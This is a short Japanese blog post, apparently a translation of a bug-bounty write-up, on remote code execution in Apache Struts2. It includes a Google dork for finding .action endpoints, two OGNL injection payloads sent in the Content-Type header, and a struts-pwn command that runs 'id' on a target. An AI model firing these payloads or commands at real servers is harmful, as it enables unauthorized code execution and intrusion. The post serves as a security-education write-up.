Shikata Ga Nai

Private? There is no such things.

RCE via Apache Struts2 - Still out there.を訳してみた

Hello there, ('ω')ノ

 

ApacheStruts2を介したRCEを。

 

脆弱性:

 RCE

 

記事:

 https://medium.com/@abhishake21/rce-via-apache-struts2-still-out-there-b15ce205aa21

 

Apache Struts2は何年も前に発見されましたが。

それでもインターネット上でそのインスタンスを見つけることができて。

 

WebアプリがwappalyzerでJavaを実行していることを知っていたので。

google-fuを実行することで、.actionで終わるエンドポイントを見つけることに。

 site:redacted.com filetype:action

 

f:id:ThisIsOne:20220126210606p:plain

 

.action、.do、.goで終わるエンドポイントを見つけた場合は。

それはWebサイトがStruts2を実行しており。

脆弱である可能性があることを意味しているので。

これを利用するために、特別に細工したメッセージを持つ。

Content-Typeヘッダを送信してみることに。

 

    Content-Type: %{#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’].addHeader(‘Namehere’,4*4)}.multipart/form-data

 

    Content-Type: .multipart/form-data~%{#context[“com.opensymphony.xwork2.dispatcher.HttpServletResponse”].addHeader(“Namehere”,4*4)}

 

これらの2つのヘッダ両方を試して。

サーバが数値の乗算またはその他の操作を実行しているかどうかを確認すると。

 

f:id:ThisIsOne:20220126210635p:plain

 

2つ目は機能したので、サーバが脆弱であることを。

証明する新しいヘッダであるAbhishek: 16が追加されて。

これはRCEが存在することを証明するのに十分で。

 

POCの場合は、以下のスクリプトを使用してコマンドを実行すると。

サーバにroot権限でアクセス権できて。

 https://github.com/mazen160/struts-pwn

 

f:id:ThisIsOne:20220126210733p:plain

 

 python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id' python struts-pwn.py --list…

f:id:ThisIsOne:20220126210657p:plain

 

Best regards, (^^ゞ